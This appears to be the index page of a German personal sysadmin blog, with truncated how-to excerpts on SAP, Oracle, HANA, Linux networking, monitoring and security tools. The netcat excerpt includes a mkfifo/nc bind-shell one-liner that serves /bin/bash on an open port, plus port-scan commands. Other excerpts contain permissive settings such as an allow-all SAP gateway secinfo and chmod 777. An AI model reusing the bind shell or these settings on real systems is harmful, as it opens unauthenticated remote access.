####################################
Snahpsot erstellen

1...
Read More

Passwort Komplexität

Passwort Komplexität und Richtlinien

#Original Files wegsichern
cp -frv /etc/passwd /etc/passwd-`date +%Y%m%d-%H%M`
cp -frv /etc/shadow /etc/shadow-`date +%Y%m%d-%H%M`
cp -frv /etc/login.defs /etc/login.defs-`date +%Y%m%d-%H%M`
cp -frv /etc/pam.d/common-password /etc/pam.d/common-password-`date +%Y%m%d-%H%M`
cp -frv /etc/pam.d/common-password-pc /etc/pam.d/common-password-pc-`date +%Y%m%d-%H%M`

"less /usr/share/doc/packages/pam/modules/README.pam_cracklib"

"touch /etc/security/opasswd"

"vi /etc/pam.d/login" ->
	password requisite      pam_cracklib.so retry=3 minlen=8 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1

"vi /etc/pam.d/common-password"	->
	password  required      pam_cracklib...
Read More

SAP Content Server System Kopie Import

##########################################################

SAP Content Server System Kopie Import

##########################################################

Read More

SAP email scot

##########################################################

SAP eMail Konfig

##########################################################

Read More

SAP Content Server

##########################################################

SAP Content Server

##########################################################

Read More

SAP import migration

##########################################################

SAP import migration

##########################################################

Read More

SAP export for migration

##########################################################

SAP export migration

##########################################################

Read More

Icinga 2 Monitoring

Icinga

1. MariaDB/MySQL installieren
2. Apache Web Server (PHP5 mit PHP 7 gibt es noch Probleme)

#Man sollte vorher noch Nagios installieren wegen den "check_*" Scripten. Siehe Nagios Doku
 
wget https://github.com/Icinga/icinga2/archive/v2.3.5.tar.gz
tar -xzf v2.3.5.tar.gz
cd icinga2-2.3.5

groupadd icinga
groupadd icingacmd
useradd -c "icinga" -s /sbin/nologin -G icingacmd -g icinga icinga
usermod -a -G icingacmd /usr/local/apach2/htdocs

mkdir build && cd build
cmake -DICINGA2_WITH_PGSQL=OFF ..
make all
make install

touch /usr/local/var/cache/icinga2/icinga2.debug.tmp
chmod 777 /usr/local/var/cache/icinga2/icinga2.debug...
Read More

Ampache

Prereq.:
	LAMP System
		MariaDB
		Apache
		PHP

ffmpeg:
	
Ampache:
	"lynx https://github.com/ampache/ampache/releases"
	"unzip ampache-3.8.2_all.zip"
	"lynx 127.0.0.1" -> Wizard folgen

Lokal alle MP3z mounten und neuen "local" Catalog erstellen.
Dauer Einlesen bei 40tsd MP3s ca. 1h .
Bei sehr langsamen Servern ist es nicht zu empfehlen.
UI ist sehr unkomfortable.

Einzige komfortable alternative für Android Handys MP3s übers VPN Netz
bzw. vom Heim Server zu streamen ohne das Handy zu rooten bzw. einen SMB/NFS mount zu setzen.
Android Ampache client "Lullaby 4 Ampache" https://play.google.com/store/apps/details?id=com.blackspruce...
Read More

Oracle Database commands

Login auf Commandline

PS C:\Users\ov1adm.TESTDEV> sqlplus
	SQL*Plus: Release 10.2.0.4.0 - Production on Wed Jun 15 08:46:22 2011
	Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.

Enter user-name: ov1adm as sysdba
Enter password:

	Connected to:
	Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bit Production
	With the Partitioning, OLAP, Data Mining and Real Application Testing options
	
ARCHIVE LOG LIST = zeigt DB Archive Infos an
ALTER SYSTEM ARCHIVE LOG STOP; = Stopp das archivieren
alter system set log_archive_start=false scope=spfile; = stoppt das automatische archivieren. Benötigt neustart der Datenbank.
SHUTDOWN NORMAL = Datenbank Instance runterfahren
STARTUP = Datenbank Instance hochfahren...
Read More

Oracle Database Upgrade von 11.2.04 auf 12.1.02 (SAP technisch)

Oracle Upgrade von 11.2.04 auf 12.1.02
###########
Zuvor unbedingt ein DB Fullbackup erstellen (offline und online_cons)
###########
"oracle" user anlegen und DB umswitchen

Auf dem Oracle DB Server: 

groupadd oinstall
useradd -g oinstall -G dba,oper -c "Oracle Software Owner" -m -s "/bin/sh" oracle 
passwd oracle
su - oracle -c "id; pwd"
su - oracle
echo $PATH 
	sollte vorhanden sein ":/usr/local/bin:"
su - al2adm -c "id; pwd"

als "root"
mkdir -p /home/oraal2
chown oraal2:dba /home/oraal2
usermod -d /home/oraal2 oraal2
usermod -g dba -G oper,oinstall oraal2
cd /oracle/AL2
cp -frv .profile .login .bashrc .cshrc .sap* .dbenv* ...
Read More

Oracle 11 DB für SAP Solution Manager Installation

Die Datenbank via SWPM 700 installieren.

user: "sapadm" via Yast anlegen 

SWPN 700 -> SAP Solution Manager 7.1 Support Release 1 -> SAP Systems -> Oracle -> Distributed system -> Based on AS ABAP and AS Java -> Database Instance
Wizard folgen:
	Custom
	Kernel NW 7.20 / 7.21
	Profile Directroy angeben
	Pass: Test1234
	SAP System Administrator -> default
	SAP System Domain Name -> FQDN deactivate
	Database Identification
		SID: <SAPSID>
		Single Instance on Filesystem
	Ins Exp 1
	Ins Exp 2
	Java Comp...
Read More

SAP ERP IDES 6.0 on Linux with DB2

ERP IDES 6.0 SPS (Stand 6.10.2015)

Installation
	siehe "db2_howto.txt" -> DB2 for SAP (IDES ERP 6.0)
DB offline Full Backup
RZ10
	rdisp/bufrefmode = sendoff,exeauto
	rdisp/max_wprun_time = 86400
STMS
	Transport Domain erstellenn 000er Client
	Virtuelles system anlegen
SPAM
	
	Update SPAM
		-> Version 0058
	
	PreReq. Checks:	
	SNOTE
	822379 - Bekannte Probleme mit Supp.Packages in SAP NW 7...
Read More

iSCSI

SCST

"svn checkout svn://svn.code.sf.net/p/scst/svn/trunk scst-trunk" oder "lynx http://scst.svn.sourceforge.net/viewvc/scst/trunk/" und Tar Ball herunterladen "wget http://scst.svn.sourceforge.net/viewvc/scst/trunk/?view=tar" Leider ist das SCST relativ instabiel :-(
	"ntpdate pool.ntp.org"
	"tar -xvzf scst-trunk.tar.gz"
	"cd trunk"
	"cd /usr/src/linux-3.5.4"
	"patch -p1 < /root/temp/trunk/iscsi-scst/kernel/patches/put_page_callback-3.5.patch"
	"patch -p1 < /root/temp/trunk/scst/kernel/scst_exec_req_fifo-3.5.patch"
	"time make clean ; make && make modules; make modules_install && make install;" besser "time make dep clean bzImage modules modules_install"
		Den rest siehe "kernel_update_bei_SuSE...
Read More

TFTPd

TFTPd:
"ftp://ftp.kernel.org/pub/software/network/tftp/tftp-hpa-5.0.tar.gz"
"tar -xzf tftp-hpa-5.0.tar.gz"
"cd tftp-hpa-5.0"
"./configure" oder bei SuSE "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib --includedir=/usr/include"
"make"
"make install"
"vi /etc/xinetd.d/tftp" ->
	service tftp
        {
                protocol        = udp
                socket_type     = dgram
                wait            = yes
                user            = root
                server          = /usr/sbin/in.tftpd
                server_args     = -p -s /tftpboot -v -v -v -m /etc/tftp_remap.conf
                disable         = no
        }
"vi /etc/hosts.allow" ->
			in...
Read More

Syslinux

NASM:
"wget http://www.nasm.us/pub/nasm/releasebuilds/2.09.04/nasm-2.09.04.tar.gz"
"tar -xzf nasm-2.09.04.tar.gz"
"cd nasm-2.09.04"
"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
	"./configure" oder bei SuSE "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib --includedir=/usr/include"
"make"
"make install"

"wget --no-check-certificate https://www.kernel.org/pub/linux/utils/boot/syslinux/syslinux-6.03.tar.gz" alt "wget http://www.kernel.org/pub/linux/utils/boot/syslinux/syslinux-4.03.tar.gz" 
"tar -xzf syslinux-4.03.tar.gz"
"cd syslinux-4.03"
"make installer"
"make install"

Ab Version 6
"cd syslinux-6...
Read More

PXE

Es wird eventuell noch ein Treiber benötigt "lynx http://etherboot.org/wiki/index.php"

TFTPd:
Siehe Doku.

DHCP:
Siehe Doku.

NFS:
Siehe Doku.

Syslinux (für PXE Boot) ist für Windows nicht nötig:
Sihe Doku.

"vi /etc/dhcpd.conf" ->
	allow booting;
	allow bootp;
	option routers 172.16.190.190;
	option domain-name-servers 172.16.190.5;
	option domain-name "wenning.corp";
	option subnet-mask 255.255.0.0;
	option broadcast-address 172.16.255.255;
	ddns-update-style ad-hoc;
	default-lease-time 3600;        #Eine Stunde
	max-lease-time 86400;           #Eine Woche
	subnet 172.16.0.0 netmask 255.255.0.0
	               {
	                 range 172.16.190.100 172.16.190...
Read More

NFtables

NFtables (Nachfolge Projekt von IPtables)
"lynx http://wiki.nftables.org/"

Prerequirements

ncurses:
	"wget http://ftp.gnu.org/pub/gnu/ncurses/ncurses-6.3.tar.gz"
	"tar -xvzf ncurses-5.6.tar.gz"
	"cd ncurses-5.6"
	Bei SUSE "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
	"./configure" oder bei Debian "./configure -–bindir=/usr/bin -–sbindir=/usr/sbin -–libdir=/usr/lib –includedir=/usr/include"
	"make"
	"make install"
	"ncurses6-config --version"
	"ncurses5-config --version"
	
readline
	"ftp://ftp.gnu.org/gnu/readline/readline-6.3.tar.gz" oder "http://git.savannah.gnu.org/cgit/readline.git/snapshot/readline-master.tar.gz"
	"tar -xf readline-master.tar.gz"
	"cd readline-master"
	"...
Read More

Kernel update bei Debain

>=Debian 6.0.3
"apt-get install libqt4-dev"
"apt-get install build-essential fakeroot"
eventuell "wget ftp://ftp.de.debian.org/debian-archive/debian/pool/main/i/initrd-tools/initrd-tools_0.1.84.2_all.deb"
eventuell "dpkg -i initrd-tools_0.1.84.2_all.deb"
eventuell "wget ftp://ftp.de.debian.org/debian/pool/main/c/cramfs/cramfsprogs_1.1-6_amd64.deb"
eventuell "dpkg -i cramfsprogs_1.1-6_amd64.deb"
eventuell "apt-get install kernel-package libncurses5 libncurses5-dev"
###########
<=Debian 6
"apt-get install libqt3-mt-dev libqt3-headers libqt3-mt" (DVD 1)
"apt-get install module-init-tools initrd-tools procps"
##########
Debian 7
"apt-get install qt4-dev-tools qt4-qmake libncurses5-dev"
"apt-get install pkg-config"
ggf...
Read More

IPtraf

IPtraf

"ln -s /usr/include/netinet/if_tr.h /usr/include/linux/if_tr.h"

"wget ftp://iptraf.seul.org/pub/iptraf/iptraf-3.0.0.tar.gz"
"tar -xzf iptraf-3.0.0.tar.gz"
"cd iptraf-3.0.0/"
"./Setup"

Read More

SAP Mandanten löschen

 

Als SAP* anmelden

SCC4 Mandant öffnen

 

 

 

 

 

 

Kann sehr lange dauern, je nach Mandantengröße in der DB

 

Read More

LibreSSL

LibreSSL

"wget http://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.3.0.tar.gz"
"tar -xzf libressl-2.3.0.tar.gz"
"cd libressl-2.3.0/"
Bei Suse: "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include --enable-windows-ssp --enable-extratests"
Bei Debian:  "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib --includedir=/usr/include --enable-windows-ssp --enable-extratests"
"make"
"make install"
"openssl version" oder "/usr/bin/openssl version"


Read More

VNC

send strg + alt + entf = F8

Passwortübergabe
"vncpasswd" = Passwort eingeben
"vncviewer 172.17.190.1 -passwd /root/.vnc/passwd &"


Read More

OpenSSH

INFO: Vorher sollte eine neue Version von OpenSSL instaliert werden.

Bei Debian muss zuerst "openssl", "zlib", "flex" und "pam" installiert werden.
	zlib:
		"wget http://www.zlib.net/zlib-1.2.3.tar.gz"
		"tar -xvzf zlib-1.2.3.tar.gz"
		"cd zlib-1.2.3"
		Bei 32 BIT "./configure" oder bei SuSE "./configure --libdir=/usr/lib --includedir=/usr/include"
		Bei 64 BIT "./configure" oder bei SuSE "./configure --libdir=/usr/lib64 --includedir=/usr/include"
		Debian "./configure --libdir=/usr/lib --includedir=/usr/include"
		"make"
		"make install"
		
	Eventeull für Debian "flex", sofern nicht via "apt-get":
		"wget http://flex.sourceforge.net/"
		"tar -xvzf flex-2.5.35.tar.gz"
		"cd flex-2.5.35"
		Bei 32 BIT "./configure" oder bei Debian  "...
Read More

SSH Tunnel mit Putty

SSH Tunnel mit Putty

“vi /etc/ssh/sshd_config” ->

PermitTunnel yes

“systemctl restart sshd.service”

#######################################

SSH Tunnel TCP auf UDP umbiegen.

######################################################
In Cygwin Putty Key einlesen
dazu “ssh-pageant” in Cygwin installieren.

im Cygwin auf Client:
“eval $(/bin/ssh-pageant.exe -ra $TEMP/.ssh-pageant)”

im Cygwin auf Client:
“ssh -L 8000:127.0.0.1:8000 root@172.17.190.17”

Auf original Linux Server
“socat tcp4-listen:8000,reuseaddr,fork udp:172.17.190.30:53”

im Cygwin auf Client, vorher noch “socat” installierne:
“socat -T15 udp4-recvfrom:53000,reuseaddr,fork tcp:localhost:8000” oder besser “”socat -T15 udp4-recvfrom:53000,range=127.0.0...

Read More

Oracle 12c Restore (point in time) mit Brtools und Commvault

Datenbank muss gestartet sein.


export SAPDATA_HOME=/oracle/HR3


5


2


ln -s /oracle/HR3/sapbackup /oracle/HR3/12102/sapbackup

ln -s /oracle/HR3/saparch /oracle/HR3/12102/saparch

ln -s /oracle/HR3/sapcheck /oracle/HR3/12102/sapcheck

ln -s /oracle/HR3/sapreorg /oracle/HR3/12102/sapreorg

ln -s /oracle/HR3/sapdata1/ /oracle/HR3/12102/sapdata1

ln -s /oracle/HR3/sapdata2/ /oracle/HR3/12102/sapdata2

ln -s /oracle/HR3/sapdata3/ /oracle/HR3/12102/sapdata3

ln -s /oracle/HR3/sapdata4/ /oracle/HR3/12102/sapdata4

ln -s /oracle/HR3/sapdata5/ /oracle/HR3/12102/sapdata5

c


1


tail /oracle/HR3/saparch/archHR3.log


4


C


2



1


3


5


6


C


C


C


C


C




8


C


C


C


C


C


C




C


Y


Y


C


C


Y


C


Read More

SAP Login Screen

ZLOGIN_SCREEN_INFO

 

das System muss änderbar sein

 

 

Falls das Office nicht korrekt funktioniert sieht es so aus:

und so sieht es mit funktionierendem Office.

Nicht auf auf die “Diskette” klicken nur auf den Zauberstab.

 

That`s IT !

Read More

XFS

XFS How To

"mkfs.xfs /dev/db2_backup_vg/db2_backup_lv" = XFS formatieren
"xfs_info /db2_backup/ "= XFS Infos
"xfs_growfs -d /db2_backup/" = Bis zur maximalen Größe erweitern

Read More

SAP HANA Kommandos

       _____  ___  ______   _   _   ___   _   _   ___
      /  ___|/ _ \ | ___ \ | | | | / _ \ | \ | | / _ \
      \ `--./ /_\ \| |_/ / | |_| |/ /_\ \|  \| |/ /_\ \
       `--. \  _  ||  __/  |  _  ||  _  || . ` ||  _  |
      /\__/ / | | || |     | | | || | | || |\  || | | |
      \____/\_| |_/\_|     \_| |_/\_| |_/\_| \_/\_| |_/


"HDB stop" = Hana stoppen 
"HDB start" = Hana starten 
"telnet open <host> 3<03>15" = JDBC Port (3xx15) .  "netstat -apn | grep -i 30315"
"sapcontrol -nr 03 -function GetProcessList" = als SIDadm. Zeigt die Hana Prozesse.
	15.04...
Read More

Hana Systemkopie mittels Blue System Copy

Backup der Hana (Quellsystem) erstellen.

 

 

 

 <  

 

 

Backup Destination ist frei wählbar.

Auch der Backup Prefix sollte passend gewählt werden.

 

 

 

 

 

 

 

 

 

 

Check auf Zielsystem für den Export der Tabellen und auf dem Quellsystem für den nachfolgenden Import nach dem Restore bzw.

Schema User von Quell und Ziel Hana Berechtigung anpassen.

Rolle: Export und Import

 

Falls fehlt, per Plus hinzufügen.

 

 

Blue Copy GUI starten.

 

 

 

 

 

 

 

 

Mit den Systemverantwortlichen Abstimmen.

Bei Systemkopien bei denen die Zielsysteme keine Java Instanz beinhalten die Java Tabellen anpassen.

 

 

 

 

 

 

Restorescript bauen und einfüg...

Read More

Hana Backup

 

 

Backup Destination ist frei wählbar.

Auch der Backup Prefix sollte passend gewählt werden.

 

 

 

Read More

Oracle Upgrade von 11 auf 12. Migration des Software-Eigentümers zu ‘oracle’

Oracle Upgrade

OS technisch

	fstab
	hosts
	ggf. hostname (bleibt)
	resolv.conf
	/oracle/HR3/112_64/network/admin/listener.ora (/oracle/HR3/121_64/network/admin)
	ifconfig(yast)
	nsswitch
		#hosts:          files dns
		#networks:       files dns
		hosts:         files
		networks:      files
	crontab -e
	ggf. /etc/init.d/postfix stop
	Database log mode              No Archive Mode
	
SAP technisch vorbeitungen.
	ggf. IPtables damit die Server IP technisch nicht nach außen Kommunizieren.
	Batch Prozess Anzahl auf 0 ("vi /usr/sap/HR3/SYS/profile/HR3_DVEBMGS00_sles14" -> rdisp/wp_no_btc = 0 )
	RFC angepasst (/nsm59)
	Std...
Read More

Oracle BRtools Table Space erweitern

Table Space Erweitern

"brtools"
	2 - Space management
	1 = Extend tablespace
	c
	c
	c	
	Anzeige der Tabellen. Hier 95,03 % Belegung
		1 - PSAPSR3         103/0       395411456     95.03    19645696    395411456

	1	(Tabelle 1 auswählen)
		Darauf Achten. wichtig "autoextend off"
		alle prüfen:
		 Options for extension of tablespace PSAPSR3 (1. file)

		 1 * Last added file name (lastfile) ....... [/oracle/PR1/sapdata5/sr3_103/sr3.data103]
		 2 * Last added file size in MB (lastsize) . [4000]
		 3 - New file to be added (file) ........... [/oracle/PR1/sapdata5/sr3_104/sr3.data104]
		 4 ~ Raw disk / link target (rawlink) ...... []
		 5 - Size of the new file in MB (size) ..... [4000]
		 6 - File autoextend mode (autoextend) .......
Read More

SAP Gateway Security


/nSMGW -> goto -> Expert functions

Logging:
/nRZ10
gw/sec_info = $(DIR_DATA)/secinfo
gw/reg_info = $(DIR_DATA)/reginfo
gw/logging = ACTION=S LOGFILE=gw_log-%y-%m-%d SWITCHTF=day 
			ACTION=SPXZ LOGFILE=gw_log_$(SAPSYSTEMNAME)_$(SAPLOCALHOST)-%y%m%d MAXSIZEKB=1000
			ACTION=RSsZ LOGFILE=gw_log-%y-%m-%d SWITCHTF=day MAXSIZEKB=1000
gw/sim_mode = 1 (1 aktiv, 0 inaktiv)
gw/acl_mode = 1

/usr/sap/HR1/DVEBMGS02/data/secinfo
P TP=* USER=* USER-HOST=* HOST=*

/usr/sap/HR1/DVEBMGS02/data/reginfo
P TP=*

Trace Files
ls -al /usr/sap/DH1/DVEBMGS01/work/gw_log-2015-07-16

Info:
910919 - Gateway-Logging einrichten 
1689663 - GW: Simulationsmodus für reg,sec und prxy_info

####################################################################...
Read More

chroot Jail für SSH/SCP/SFTP

##############################################################################
Chroot Jail für SCP/SFTP/SSH

Methode 1

SFTP (Chroot)
lynx https://server/pages/viewpage.action?pageId=6033613

cp -frv /etc/ssh/sshd_config /etc/ssh/sshd_config...
Read More

netcat

"netcat -v -w 2 -z 10.20.16.23 1-1024" = Portscan
"netcat -z -v -w 30 10.130.4.217 80" = Schauen ob Port 80 offen bzw. ereichbar

Netcat Chat:
Server: "netcat -l -v 1234"
Client: "telnet 172.17.190.38 1234"

Datei senden.
Sender: "cat file.txt | netcat -v -l 5555"
Empfänger: "netcat 172.17.190.17 5555 > file.txt"

Bei SuSE ist das netcat-openbsd packet installiert.
Das heißt nativ kann man keine Bash über netcat herstellen.
Hier ein kleiner umweg.
Server: "mkfifo bash_nc ; nc -lk 4666 0<bash_nc | /bin/bash 1>bash_nc"
SLES 11 Server: "mkfifo bash_nc ; netcat -lp 4666 0<bash_nc | /bin/bash 1>bash_nc"
Client: "netcat 172.17.190...
Read More

SNMPd

"wget http://www.net-snmp.org/download.html"
"tar -xvzf net-snmp-5.4.1.tar.gz"
"cd net-snmp-5.4.1"
"./configure" oder bei SuSE und Debian "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib --includedir=/usr/include"
"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
"make"
"make install"
"mkdir /etc/snmp" -> hier die Konfigurationsdatei erstellen
"touch /etc/snmp/snmpd.conf"
"/usr/sbin/snmpd -r -A -LF d /var/log/snmpd.log -p /var/run/snmpd.pid -c /etc/snmp/snmpd.conf"

#Befehle######################
snmpwalk -v 2c -c public localhost <optinal kann hier ein String Wert eingegebn werden z. B...
Read More

IPv6

Kernel IPv6 fähig kompilieren.

CONFIG_IPV6=y
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_IPV6_MIP6=y
CONFIG_IPV6_SIT=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=y
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_PIMSM_V2=y
CONFIG_IP_VS_IPV6=y
# IPv6: Netfilter Configuration
CONFIG_NF_CONNTRACK_IPV6=y
CONFIG_IP6_NF_MATCH_IPV6HEADER=y

#Infos######################################################################################
Bei jeder guten Distribution sind bereits alle benötigten Programme zur IPv6 administration vorhanden...
Read More

Nagios

"groupadd nagios"
"useradd nagios" bei Debian "useradd nagios -g nagios"
"vi /etc/passwd" und von der /bin/bash in die /bin/false wechseln.
"groupadd nagcmd"
"usermod -G nagcmd apache" bzw. "usermod -G nagcmd daemon" je nach dem welcher User den apachen kontroliert.
"usermod -G nagcmd nagios"
"./configure" oder bei Debian "./configure --prefix=/usr/local/nagios --sysconfdir=/etc/nagios --enable-nanosleep --enable-event-broker --with-cgiurl=/nagios/cgi-bin --with-htmurl=/nagios --with-nagios-user=nagios -with-nagios-group=nagios --with-command-group=nagcmd --with-httpd-conf=/usr/local/apache2/conf --with-temp-dir=/tmp"

	*** Configuration summary for nagios 3.0...
Read More

IPVS Linux Load Balancing Server

Zuerts Kernel mit "IP_Virtual_Server" Unterstützung kompilieren.
Dazu am besten einen neuen Kernel (2.6.24.4) downloaden und via "make xconfig" alle Komponenten unter
"Networking" / "IP virtual server support (EXPERIMENTAL) (IP_VS)" auswählen.
Damit sind die Kernel basierten Bausteine nun abgeschlossen. Um aber den IP_Virtual_Server zu administrieren
benötigt man noch das ipvsadm Tool.

libnl:
	"wget http://www.infradead.org/~tgr/libnl/files/libnl-3.2.25.tar.gz"
	"tar -xzf libnl-3.2.25.tar.gz"
	"cd libnl-3.2.25"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
	"make"
	"make install"
	"cp -frv /root/temp/loadbalancer/libnl-3.2...
Read More

MariaDB

"lynx https://mariadb.org"
"wget http://ftp.hosteurope.de/mirror/mariadb.org/mariadb-10.0.16/source/mariadb-10.0.16.tar.gz"

"lynx https://mariadb.com/kb/en/mariadb/generic-build-instructions/"
"BUILD/autorun.sh"
"...
Read More

Galera Cluster (MariaDB)

"lynx https://mariadb.com/kb/en/mariadb/mariadb-galera-cluster-10019-release-notes/"
"lynx https://downloads.mariadb.org/"
"lynx https://downloads.mariadb.org/mariadb-galera/10.0/"

"wget http://mirror.23media.de/mariadb/mariadb-galera-10.0.19/bintar-linux-x86_64/mariadb-galera-10.0.19-linux-x86_64.tar.gz"
"tar -xzf mariadb-galera-10.0.19-linux-x86_64.tar.gz"
"mv mariadb-galera-10.0.19-linux-x86_64 /usr/local"
"chown -R mysql:mysql /usr/local/mariadb-galera-10.0.19-linux-x86_64"
"ln -s /usr/local/mariadb-galera-10.0.19-linux-x86_64 /usr/local/mysql"
"ln -s /usr/local/mariadb-galera-10.0.19-linux-x86_64 /usr/local/mariadb"
"ln -s /usr/local/ssl/lib/libssl.so.1.0.0 /usr/lib64/libssl.so.6"
"ln -s /usr/local/ssl/lib/libcrypto.so.1.0...
Read More

Build your own Router

Build your own Router.
Notwendige Komponenten.

0815 Linux Distribution. Am besten openSUSE :-)
	neusten Kernel (http://mooreblog.ddns.net/kernel-update-bei-suse/)
	IPtables (http://mooreblog.ddns.net/iptables-add-on/)
	ARPtables (http://mooreblog.ddns.net/arptables-ebtables/)
	EBtables (http://mooreblog.ddns.net/arptables-ebtables/)
	IPset (http://mooreblog.ddns.net/ipset/)
	Snort + Ruleset (http://mooreblog.ddns.net/snort/)
	
	Der Rest ist Optinal:
	#Router läuft auf XEN Hypervisor im V-LAN [HA-Router/Firewall]
		Xen (http://mooreblog.ddns.net/xen-project-hypervisor/)
		Storage
			iSCSI (http://mooreblog.ddns.net/iscsi/)
			LVM (http://mooreblog.ddns.net/lvm/)
			GFS2 (http://mooreblog.ddns.net/gfs2-how-to/)
		Pacemaker (HA) (http://mooreb...
Read More

V-LAN

benötig Berkley db bzw. "--enable-compat185"
und iproute2.
Siehe Docs zu "Berkely DB" und "QoS iproute 2".

"wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz"
"tar -xvzf vlan.1.9.tar.gz"
"cd vlan.1.9"
"make"
...

Läßt sich leider unter Debian nicht kompilieren.
Sollte eigentlich bei jeder gängigen Linux Distribution bereits vorhanden sein.

Mit einem dummy Device ist V-LAN nicht möglich.

"vconfig add eth0 111" = richtet ein VLan Device ein mit ID 1 auf eth0
"ifconfig eth0.111" = Zeigt Informationen über das VLan Device
"ifconfig eth0.111 192.168.1.8" = Setzte die IP auf die VLan Netzwerkkarte
"ifconfig eth0.111 hw ether 00:04:76:10:A9:C3" = Aus Sicherheitsgründen ändern wir noch die MAC Adresse...
Read More

Pacemaker Heartbeat Linux High Available How To

Die Software ist extrem kompliziert und schlecht dokumentiert.

Benötigt die aktuelle Version von libnet. Aber Achtung, sofern snort installiert ist gibt es Konflikte, da
snort im inline Modus unbedingt die ältere 1.0er Version braucht 🙁 .
Wenn das Management aktiviert ist (“–enable-mgmt”) benötigt man noch GNU/TLS und Python (PyGTK usw. [Am besten via Yast2 installieren, da tausend Abhängigkeiten an Python hängen]).

libnet:
“wget http://www.packetfactory.net/libnet/dist/libnet.tar.gz” oder “http://skylink.dl.sourceforge.net/project/libnet-dev/libnet-1.2-rc3.tar.gz”
“tar -xvzf libnet.tar.gz”
“cd libnet”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

auto...

Read More

WordPress

########################################################################################################################
Anzahl der sichtbaren Kategorien beschränken und festlegen

"vi wp-content/themes/hacker/functions.php" ->
	global $SMTheme;
		?>
		 <div class="menu-primary-container">
			<ul class="menus menu-primary">
				<li <?php if(is_home() || is_front_page()) { ?>class="current_page_item"<?php } ?>><a href="<?php echo home_url(); ?>/"><?php echo $SMTheme->_(  'homelink' );?></a></li>
				<//?php wp_list_categories('title_li=&'); ?>
				<//?php wp_list_categories('title_li=&number=3&exclude=' . $GLOBALS[asides_id]) ?>
				<?php $cats .= '12,13,14,15'; wp_list_categories('title_li=&include='.$cats); ?>
			</ul>
		</div>
		<?php

		
#...
Read More

SAP System Kopie

Systemcopy (Homogene Kopie “Win to Win & MSSQL to MSSQL & ABAP only” bei NW 7.0)

SAPinst (Master Installation) (sämtliche Java vorarbeiten sind selbstverständlich)

“Database Instance Export auswählen” (wenn auf dem Zielsystem bereits ein SAP System und eine Datenbank laufen)

“Export Preparation” ist falls auf dem Zielsystem noch nichts instaliert ist.

Im SAP System anmelden und Report “SMIGR_CREATE_DDL” ausführen

Systemcopy auf den Target System installieren.

Quick and Dirty Way.

SQL Lokal installieren System Kopie zurückfahren (am besten homogen) und dann nur ein DB mo...

Read More

IPtables Firewall How To

#Info###########
Regeln werden immer von oben nach unten gelesen.
Das heißt matcht eine Regel bleibt der Filter stehen. besonders beim loggen.
Die Regeln werden sofort aktiv.
Um ins richtige Internet zu routen (nicht Private Adresse), muss das
"MASQUERADE" (iptables -t nat -A POSTROUTING -o dsl0 -j MASQUERADE) eingeschlatet werden, d.h. aber auch
das es im Kernel Compiliert ist.

#Kommando Übersicht###########################
iptables -L -v = Liste alle IPtables/Netfilter Regeln auf.
iptables -t nat -n -L -v = Listet die NAT Regeln auf
iptables -F = Löscht alle Regeln
iptables -A INPUT -s 127.0.0...
Read More

OpenVswitch How To

OpenSwitch How To

Implementierung unter XEN

Open vSwitch http://openvswitch.org/
“lynx http://git.openvswitch.org/cgi-bin/gitweb.cgi?p=openvswitch;a=blob_plain;f=INSTALL;hb=HEAD” oder “wget http://openvswitch.org/releases/openvswitch-2.0.0.tar.gz”

“wget http://openvswitch.org/releases/openvswitch-1.11.0.tar.gz”
“tar -xzf openvswitch-1.11.0.tar.gz”
“cd openvswitch-1.11.0”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”
“mkdir -p /usr/local/etc/openvswitch”
“ovsdb-tool create /usr/local/etc/openvswitch/conf.db vswitchd/vswitch.ovsschema”

OpenVswitch starten:
ovsdb-server –remote=punix:/usr/local/var/run/openvswitch/db.sock \
–remote=db:Open_vSwitch,Open_vSwitch,manager_optio...

Read More

sapmnt on Linux with Samba

groupadd sapsys
useradd sc1adm -g sapsys
mount -t cifs //10.0.3.16/C-Dollar/sapmnt /sapmnt/ -o User=root,uid=sc1adm,gid=nobody
oder
mount -t cifs //10.0.3.16/C-Dollar/sapmnt /sapmnt/ -o User=root,uid=sc1adm,gid=sapsys
Read More

CRM Datenübergabe in andere Entitäten

Die Übergabe der Daten ist relativ einfach zu realisieren.
Sie öffnen in einer Lösung einfach die Entität Lead und dort die 1:N Beziehungen.
Hier öffnen Sie die Beziehung contact_originating_lead und können dort unter dem Menüpunkt
Zuordnungen festlegen aus welchem Feld im Lead welches Feld im Kontakt befüllt werden soll.

Read More

LVM

Im Kernel sollten die Module unter "Multiple devices driver support (RAID and LVM) (MD)"
aktiviert sein. Wenigstens aber "Device mapper support (BLK_DEV_DM)".

termcap:
	"wget ftp://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz"
	"tar -xvzf termcap-1.3.1.tar.gz"
	"cd termcap-1.3.1"
	"./configure" oder bei Debian "./configure --enable-install-termcap"
	"make"
	"make install"
	
GNU readline:
